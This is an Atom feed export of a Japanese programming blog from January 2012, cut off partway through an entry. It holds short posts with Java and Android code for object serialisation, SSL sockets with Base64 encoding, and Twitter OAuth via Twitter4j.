<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8028206435131058419</id><updated>2012-01-28T02:55:21.067+09:00</updated><category term='ゲーム'/><category term='趣味'/><category term='プログラミング'/><category term='未分類'/><category term='コンピューターとインターネット'/><title type='text'>from : Unknown Origins</title><subtitle type='html'>&lt;sup&gt;IT系の記事を書いています。コメント、Twitterのフォロー、Skypeのコンタクトの追加は気軽にどうぞ。&lt;/sup&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default?start-index=101&amp;max-results=100'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>196</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4736697289790285309</id><published>2012-01-28T02:50:00.001+09:00</published><updated>2012-01-28T02:55:21.081+09:00</updated><title type='text'>JavaでByte[]とObject(Serializable)を相互変換</title><content type='html'>&lt;p&gt;意外と使うことが多いのでメモ程度にライブラリを作った。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;public final class ByteArray {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static byte[] fromObject(Object o) throws IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ByteArrayOutputStream bos = new ByteArrayOutputStream();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ObjectOutput out = new ObjectOutputStream(bos); &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.writeObject(o);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; byte[] bytes = bos.toByteArray(); &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.close();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bos.close();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return bytes;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; static Object toObject(byte[] bytes) throws OptionalDataException, StreamCorruptedException, ClassNotFoundException, IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;現在Androidの開発をやっているのですが、AIDLで通信するときにプリミティブ型(byte,int,String,and so on)のデータしか送れない。&lt;/p&gt; &lt;p&gt;本来ならParcelableを使わないといけないらしいのですが、そんなもの守る気はありません←&lt;/p&gt; &lt;p&gt;というわけで上のメソッドを使えば簡単にSerializableを実装しているObjectとByteを相互変換できます。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4736697289790285309?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4736697289790285309/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4736697289790285309&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4736697289790285309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4736697289790285309'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2012/01/javabyteobjectserializable.html' title='JavaでByte[]とObject(Serializable)を相互変換'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-9180981929046696946</id><published>2012-01-23T02:58:00.001+09:00</published><updated>2012-01-23T02:58:20.118+09:00</updated><title type='text'>AndroidでSSLSocketを使う</title><content type='html'>&lt;p&gt;なんか、いろいろ難しい。&lt;/p&gt; &lt;p&gt;HttpsURLConnectionでKeep-Alive?&lt;/p&gt; &lt;p&gt;そんなことするならSSLSocket使って自分で処理します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;というわけで今回はAndroidでSSLSocketを使う方法。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;javax.net.SocketFactory;&lt;br&gt;javax.net.ssl.SSLSocketFactory;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;とりあえずこいつらを使います。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Socket s = SSLSocketFactory.getDefault().createSocket(host,port);//portは基本443で。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これでおｋ。はい、めでたしめでたし。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そしておまけ。&lt;/p&gt; &lt;p&gt;AndroidでBASE64エンコードするのは&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;android.util.Base64;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;こいつをインポートして、&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Base64.encodeToString("文字".getBytes(), Base64.DEFAULT);&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これでおｋ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-9180981929046696946?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/9180981929046696946/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=9180981929046696946&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/9180981929046696946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/9180981929046696946'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2012/01/androidsslsocket.html' title='AndroidでSSLSocketを使う'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-107054613030054171</id><published>2012-01-22T05:38:00.001+09:00</published><updated>2012-01-22T13:06:26.326+09:00</updated><title type='text'>AndroidでTwitterのOAuth認証</title><content type='html'>&lt;p&gt;どこのページに行ってもOAuthの事に関していろいろ書いてあるけど率直で使いやすいものがあまりみつからない。（俺の頭が悪いだけ）&lt;/p&gt; &lt;p&gt;というわけで今回はAndroidでTwitterのOAuth認証を簡単にできるActivityを作った。&lt;/p&gt; &lt;p&gt;このActivityに飛ばしてあげるだけでOK。&lt;/p&gt; &lt;p&gt;ここではTwitter4j 2.1.8を使っています。&lt;/p&gt; &lt;p&gt;getOAuthRequestTokenメソッドにコールバックを指定するとなぜかエラーで落ちてしまうので、それを回避するように作ってます。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;onAuthorizedメソッドの引数にAccessTokenとAccessTokenSecretが飛んできますのでご自由にお使いください。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;以下ソースコード&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;import android.app.Activity;&lt;br&gt;import android.content.SharedPreferences;&lt;br&gt;import android.content.SharedPreferences.Editor;&lt;br&gt;import android.os.*;&lt;br&gt;import android.view.*;&lt;br&gt;import android.view.View.OnClickListener;&lt;br&gt;import android.webkit.WebView;&lt;br&gt;import android.webkit.WebViewClient;&lt;br&gt;import android.widget.*;&lt;br&gt;import twitter4j.*;&lt;br&gt;import twitter4j.http.*;&lt;br&gt;&lt;br&gt;public void onAuthorized(String accessToken,String accessTokenSecret){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //認証後後にやりたいことをここに書く。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; finish();&lt;br&gt;}&lt;br&gt;&lt;br&gt;public class TwitterOAuth extends Activity{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private Display display;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private Handler handler = new Handler();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private LinearLayout base,form;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private EditText verifier;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private WebView wb;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private Twitter twitter;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private AccessToken accToken;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private RequestToken reqToken;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private final String CONSUMER_KEY = "xxxxxxxxxxxxxxxxx"; // Consumer key をセット&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private final String CONSUMER_SECRET = "yyyyyyyyyyyyyyyyyyy"; // Consumer secret をセット&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void onCreate(Bundle savedInstanceState) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; super.onCreate(savedInstanceState);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SharedPreferences pref = getPreferences(MODE_PRIVATE);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(pref.getString("AccessToken","").equals("")||pref.getString("AccessTokenSecret","").equals("")){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; display = ((WindowManager)getSystemService(this.WINDOW_SERVICE)).getDefaultDisplay();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; base = new LinearLayout(this);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; base.setOrientation(LinearLayout.VERTICAL);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; form = new LinearLayout(this);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; form.setOrientation(LinearLayout.HORIZONTAL);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; verifier = new EditText(this);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; verifier.setWidth(display.getWidth()-100);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; verifier.setHeight(20);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Button button = new Button(this);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; button.setText("OK");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; button.setHint("PIN CODE");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; button.setWidth(100);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; button.setHeight(20);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; button.setOnClickListener(new OnClickListener(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @Override&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void onClick(View v) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; handler.post(new Runnable(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void run(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; accToken = twitter.getOAuthAccessToken(reqToken,verifier.getText().toString());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Editor e = getPreferences(MODE_PRIVATE).edit();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String accessToken = accToken.getToken();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String accessTokenSecret = accToken.getTokenSecret();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.putString("AccessToken",accessToken);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.putString("AccessTokenSecret",accessTokenSecret);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.commit();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; onAuthorized(accessToken,accessTokenSecret);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (TwitterException e) {}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wb =&amp;nbsp; new WebView(this);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wb.setWebViewClient(new WebViewClient()); &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; form.addView(verifier);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; form.addView(button);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; base.addView(form);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; base.addView(wb,new ViewGroup.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setContentView(base);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; doAuthorize();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Toast.makeText(this,"You are already authorized.", Toast.LENGTH_LONG).show();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; finish();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void doAuthorize(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; twitter = new TwitterFactory().getOAuthAuthorizedInstance(CONSUMER_KEY,CONSUMER_SECRET);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; reqToken = twitter.getOAuthRequestToken();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wb.loadUrl(reqToken.getAuthorizationURL().toString());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wb.requestFocus(View.FOCUS_DOWN);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }catch(Exception e){Toast.makeText(this, "ERROR.",Toast.LENGTH_SHORT).show();}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-107054613030054171?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/107054613030054171/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=107054613030054171&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/107054613030054171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/107054613030054171'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2012/01/androidtwitteroauth.html' title='AndroidでTwitterのOAuth認証'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 